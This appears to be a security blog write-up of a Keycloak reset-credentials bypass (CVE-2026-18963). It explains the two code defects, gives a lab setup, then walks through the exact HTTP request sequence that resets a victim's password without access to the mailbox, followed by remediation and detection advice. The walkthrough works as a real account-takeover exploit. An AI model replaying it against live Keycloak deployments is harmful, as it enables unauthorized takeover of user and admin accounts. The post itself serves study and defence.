Post

CVE-2026-18963 - Keycloak reset-credentials bypass → full account takeover

Unauthenticated full account takeover in Keycloak's reset-credentials flow (CVE-2026-18963, CVSS 9.1) - a sticky form-flag defect chained with an action-token check that never verifies the email link. Manual walkthrough plus a patched control.

CVE-2026-18963 - Keycloak reset-credentials bypass → full account takeover

The goal of this post is to show and inspect in depth the recent vulnerability discovered on Keycloak. At the time I wrote this post, I was able to find many PoCs available on GitHub, but personally inspecting and manually exploiting the bug to understand it is what I find more valuable than only executing templates or scripts.

TL;DR

An unauthenticated attacker who knows only a victim’s username or email can reset that user’s password and take over the account - without ever clicking the emailed reset link. No prior credential, no session, no mailbox access. CVSS 3.1 9.1 (Critical).

   
CVE CVE-2026-18963 (GHSA-4gv3-mc9p-5wqc)
Component Keycloak keycloak-services, reset-credentials flow
Severity Critical - CVSS 3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (9.1)
Weakness CWE-640 - Weak Password Recovery Mechanism
Affected Keycloak 26.0.0 – 26.7.1 (upstream community)
Fixed Keycloak 26.7.2 (PR #51844); RH build streams via 26.6.6 / 26.4.15
Precondition Forgot password enabled on the realm (the default)
Impact Full account takeover of any user including realm admins → IdP + SSO-wide compromise

Setting up the Lab

A fully self-contained Docker Compose lab from the Snizi/CVE-2026-18963-Exploit repo:

Service URL Version
kc-vuln http://127.0.0.1:8080 26.7.1 - vulnerable
kc-patched http://127.0.0.1:8100 26.7.2 - patched control
kc-mailpit http://127.0.0.1:8025 victim’s mailbox (Mailpit)

Realm poc, public client poc-app (with Direct Access Grants), a dummy user victim / OriginalPassw0rd!. Mailpit captures the reset email, so you can watch it arrive and stay unread while the account gets taken over.

1
2
3
4
5
6
7
# 0. Clone the repo (it bundles the lab + the PoC)
git clone https://github.com/Snizi/CVE-2026-18963-Exploit
cd CVE-2026-18963-Exploit

# 1. Start the three containers
cd lab
docker compose up -d

This pulls and runs:

Container (service) Image Host port
kc-vuln (keycloak-vuln) quay.io/keycloak/keycloak:26.7.1 8080
kc-patched (keycloak-patched) quay.io/keycloak/keycloak:26.7.2 8100
kc-mailpit (mailpit) axllent/mailpit:latest 8025 (UI) / 1025 (SMTP)

Keycloak boots in development mode (start-dev) and imports the realm from lab/realm-poc.json on startup (--import-realm). Bootstrap admin is admin / admin.

1
2
3
4
5
6
7
#    Both instances are ready when these return HTTP 200:
curl -s -o /dev/null -w "vuln : %{http_code}\n" http://127.0.0.1:8080/realms/poc/.well-known/openid-configuration
curl -s -o /dev/null -w "patch: %{http_code}\n" http://127.0.0.1:8100/realms/poc/.well-known/openid-configuration
#    (keycloak needs ~15-30s to start; retry until both are 200)

# 4. Sanity-check Mailpit (victim's mailbox UI)
curl -s http://127.0.0.1:8025/api/v1/info | head -c 120; echo

The preloaded realm poc ships with:

  • Client poc-app - a public client, standard flow enabled, Direct Access Grants on (used to confirm takeovers with a password grant).
  • User victim / OriginalPassw0rd!, email [email protected].

You can now run any of the modes in the next section against http://127.0.0.1:8080 (vulnerable) or http://127.0.0.1:8100 (patched control).

Two bugs, chained together

The password-reset flow normally works like this:

1
choose user → send reset email → [wait for link click] → set new password

The email contains a signed action token. Clicking it re-enters the flow through the ResetCredentialsActionTokenHandler, which stamps the auth session with ACTION_TOKEN_USER_ID. That stamp is the only signal that mailbox control was proven.

Defect 1: an unscoped, sticky flag

In services/src/main/java/org/keycloak/authentication/DefaultAuthenticationFlow.java, any POST carrying the form key tryAnotherWay sets an auth note:

1
2
3
processor.getAuthenticationSession().setAuthNote(
    AuthenticationProcessor.AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED, "true");
return createSelectAuthenticatorsScreen(model);

The note is a bare "true" string with no record of which execution set it. It is cleared only in the branch that handles a submitted authenticationExecution parameter. Omit that parameter - as the PoC does throughout - and the flag stays set for the whole authentication session.

While the flag is set, processFlow() skips normal flow evaluation and renders a form aimed at whatever execution is currently parked:

1
2
3
4
5
6
7
8
9
if (Boolean.parseBoolean(authSession.getAuthNote(AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED))) {
    String lastExecutionId = authSession.getAuthNote(CURRENT_AUTHENTICATION_EXECUTION);
    if (lastExecutionId != null) {
        AuthenticationExecutionModel executionModel =
            realm.getAuthenticationExecutionById(lastExecutionId);
        if (executionModel != null)
            return createSelectAuthenticatorsScreen(executionModel);   // <-- attacker-usable form
    }
}

The glue is processResult() case FORK: - when Send Reset Email fires it stamps CURRENT_AUTHENTICATION_EXECUTION = <reset-credential-email execution id> and forks the browser back to the login page. The parked execution is exactly the email gate.

Combining “a selector screen was shown at some point” with “whatever execution is current right now” assumes the two always refer to the same step - an assumption the code never enforced.

Defect 2: The email gate never checks the action token

In services/src/main/java/org/keycloak/authentication/authenticators/resetcred/ResetCredentialEmail.java:

1
2
3
4
5
@Override
public void action(AuthenticationFlowContext context) {
    context.getUser().setEmailVerified(true);
    context.success();
}

Unconditional. Nothing verifies that the flow was resumed by a valid action token. Reaching action() is treated as equivalent to proving mailbox control. In the older affected builds it was literally:

1
2
3
4
@Override
public void action(AuthenticationFlowContext context) {
    context.success();
}

One line.

The attack chain

1
2
3
4
5
tryAnotherWay POST            → sticky AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true"
submit victim identifier      → mail sent to victim, email execution parked (FORK)
re-enter reset-credentials    → sticky flag serves a form targeting the parked email execution
POST that form                → ResetCredentialEmail.action() → success() → gate bypassed
                              → flow advances to UPDATE_PASSWORD → attacker sets the password

Username enumeration (bonus finding)

The same flaw is a username oracle - and a stronger one than Keycloak normally allows. authenticate() deliberately returns an identical “you should receive an email shortly” for real and unknown users (so the reset form itself can’t be used to enumerate). That defence breaks at action(), which dereferences the user unconditionally:

Identifier Step 6 Verdict
real user 200 → Update Password form VALID
unknown user 400 (NPE error page) INVALID

Worth writing up as its own finding alongside the takeover, because it defeats an anti-enumeration control Keycloak implemented on purpose, and it kills “our usernames aren’t guessable” as a mitigation.

Manual exploitation

In this walkthrough I drive every step with Burp Suite’s Repeater instead of a script or a template. The point of going manual is to see why each request matters - every step maps back to one of the two defects above, and the chain only works because the two defects reinforce each other.

1. Reach the reset form

Open the vulnerable instance at http://127.0.0.1:8080 - the realm’s login page:

Step 1 - the login page

Click Forgot your password? to enter the reset-credentials flow:

Step 2 - the forgot-password link

The realm serves the reset form. Grab its action URL - Repeater will reuse it for the crafted requests:

Step 3 - the reset form

2. Plant the sticky flag (Defect 1)

In Repeater, send a POST to that form’s action URL that carries only the tryAnotherWay parameter:

1
2
3
4
5
POST <reset-form-action-url> HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded

tryAnotherWay=on

This is the harmless-looking request that triggers Defect 1. Any POST bearing tryAnotherWay makes DefaultAuthenticationFlow stamp the bare AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED="true" note. Because we deliberately omit the authenticationExecution parameter, the note is never cleared for the rest of this authentication session:

Step 4 - the crafted tryAnotherWay POST

Keycloak answers with the “Try another way” selector screen:

Step 5 - the response

From the response body, grab the embedded URL that continues the flow - this is the URL we will use in the next request:

Step 6 - the continue URL

3. Submit the victim identifier

Now build a second POST to the URL you just grabbed, this time sending the victim’s username. No reset email is clicked on the victim’s side - we are only feeding Keycloak the identifier it needs to select the user:

1
2
3
4
5
POST <url-grabbed-in-step-2> HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded

username=victim

Step 7 - the username submission

This is where the flow forks. Send Reset Email fires, stamps CURRENT_AUTHENTICATION_EXECUTION with the email-gate execution id, and returns the session to the login page. A reset email lands in the victim’s mailbox (Mailpit - it will stay unread; we never touch it):

Step 8 - the response

Grab the URL embedded in startSessionPolling from that response:

Step 9 - the startSessionPolling URL

4. Re-enter the flow and hit the parked email execution

Send a GET to that startSessionPolling URL to step back into the reset-credentials flow:

Step 10 - the flow-resuming GET

Here is where Defect 1 pays off. Because the sticky flag is still set and never scoped to its execution, processFlow() skips the normal selection and serves a form aimed at whatever execution is currently parked - which is exactly the email gate we parked in step 3. Grab the kc-selection-credential-form action URL from this response:

Step 11 - the kc-selection-credential-form URL

5. Bypass the gate with an empty POST (Defect 2)

Finally, POST to that kc-selection-credential-form URL. The body must be empty - no parameters are forwarded to the parked email execution:

1
2
3
4
POST <kc-selection-credential-form-url> HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded

Step 12 - the empty gate-bypass POST

This is Defect 2 in action. The parked execution is ResetCredentialEmail, and its action() is unconditional: it never checks that a valid action token resumed the flow. The moment the empty POST reaches it, action() runs context.success() - treating the gate as if the victim had clicked the emailed link - and the flow advances to the password-update step:

Step 13 - the 302 redirect

Follow the redirect (or issue a fresh GET):

Step 14 - following the redirect

We land on the Update Password screen - the attacker is now authenticated in the reset flow as victim:

Step 15 - the update-password screen

6. Take over the account

Submit the new password (or grab the form’s action URL and send it as a POST):

1
2
3
4
5
POST <update-password-action-url> HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/x-www-form-urlencoded

password-new=PoCPassw0rd!1&password-confirm=PoCPassw0rd!1

Step 16 - changing the password

Confirm the takeover with Keycloak’s Direct Access Grant (the poc-app client has it enabled) using the new password - this proves we now control the account:

1
2
3
4
5
6
curl -s -X POST http://127.0.0.1:8080/realms/poc/protocol/openid-connect/token \
  -d 'grant_type=password' \
  -d 'client_id=poc-app' \
  -d 'username=victim' \
  -d 'password=PoCPassw0rd!1' \
  | jq -r '.access_token' | cut -d. -f2 | base64 -d 2>/dev/null | jq '.preferred_username'

If it returns victim, the reset was completed without ever opening the mailbox. The whole attack took place on the vulnerable instance; replaying the identical five-request chain against kc-patched (26.7.2) fails at step 5 with an INVALID_USER error - the fix catches the mismatch between the parked execution id and the sticky flag, and refuses to let an unverified action token pass the email gate.

Affected versions - including the trap in “legacy”

Line Vulnerable Community fix
Legacy (WildFly ≤ 17) not affected -
Quarkus 17 – 25.x not affected -
26.0 26.0.0 – 26.0.17 none
26.1 26.1.0 – 26.1.5 none
26.2 26.2.0 – 26.2.16 none
26.3 26.3.0 – 26.3.5 none
26.4 26.4.0 – 26.4.14 26.4.15 (vendor backport)
26.5 26.5.0 – 26.5.7 none
26.6 26.6.0 – 26.6.5 26.6.6 (vendor backport)
26.7 26.7.0 – 26.7.1 26.7.2

The sticky-boolean note was introduced in 26.0.0 (commit 6a9e60bb, adding the “Try another way” selector screen). Anything older simply lacks the code path - safe for this specific bug, not safe in general. Staying on a legacy build is not a remediation.

The real trap: 26.7.2 is the only fix published for the community train. If a deployment sits on 26.0 – 26.6, there is no patch release on that line - the fix requires a minor-version upgrade, not a point release. The 26.4.15 / 26.6.6 tags are Red Hat vendor backports and are not interchangeable with community images. “We’re fully patched on our line” is a common and incorrect assumption here. Check the running build, not the update policy.

Remediation

The patch addresses both halves:

  1. Scope the note to the execution. The note now stores model.getId(), and processFlow() honours it only when it equals CURRENT_AUTHENTICATION_EXECUTION - otherwise it removes it. In the attack the two always differ (choose-user id vs email-gate id), which is exactly what the patch detects.
  2. Verify the action token. ResetCredentialEmail.action() now requires context.getUser().getId().equals(authNote(ACTION_TOKEN_USER_ID)) and otherwise fails with INVALID_USER.

Fix: upgrade. 26.7.2 for community builds, or the matching RH backport. Everything below is a stopgap.

  1. Disable Forgot password per realm (Realm settings → Login). Confirmed effective - the flow returns HTTP 400 and can’t be entered. Check every realm, master included.
  2. Disable the Reset Password execution in the bound reset-credentials flow. Works, but the login page still shows the link (poor UX).
  3. Add a required OTP/WebAuthn authenticator after the email step. This does NOT close the bypass - it only limits full takeover to accounts that have actually enrolled that factor.

Realms whose reset flow is fully custom and never invokes reset-credential-email are not exploitable via this path.

Two advisory-truths-busters worth calling out:

  1. Accounts with no email are exploitable. ResetCredentialEmail.authenticate() takes the forkWithSuccessMessage path when user.getEmail() is null, which still parks the execution. The same holds for an SMTP send failure - a broken or absent mail server is not a mitigation. This matters directly for AD/LDAP-federated realms, where accounts frequently carry no mail attribute.
  2. MFA on the login flow does not protect you. The default reset-credentials flow contains no OTP step, and once through, the attacker can remove the victim’s registered factors.

Detection / threat hunting

Keycloak emits no “action token skipped” event, so detection is heuristic:

  • Reverse-proxy / ingress logs - strongest signal. A legitimate reset shows a GET /login-actions/action-token?... (the victim clicking the mail) before the password change. The bypass has no such GET. Instead: a POST to login-actions/reset-credentials containing tryAnotherWay, then a second POST to the same path with an empty body, then the password form. A tryAnotherWay POST inside the reset flow is not something the stock UI produces in normal use.
  • Admin events: SEND_RESET_PASSWORD followed by UPDATE_PASSWORD sharing the same code_id within seconds (sub-second in the lab). Corroborate with proxy logs.
  • emailVerified flipping to true with no matching VERIFY_EMAIL event is a useful supporting indicator the attacker can’t avoid leaving.

Absence of events proves nothing if logging/retention was off. Check the retention window before concluding a deployment wasn’t hit.

For a defensible detection, the repo’s lab/legit_reset.py runs a genuine reset (clicking the Mailpit token link) as a control sample - run it and the bypass, then diff the traces and event logs.

References

This post is licensed under CC BY 4.0 by the author.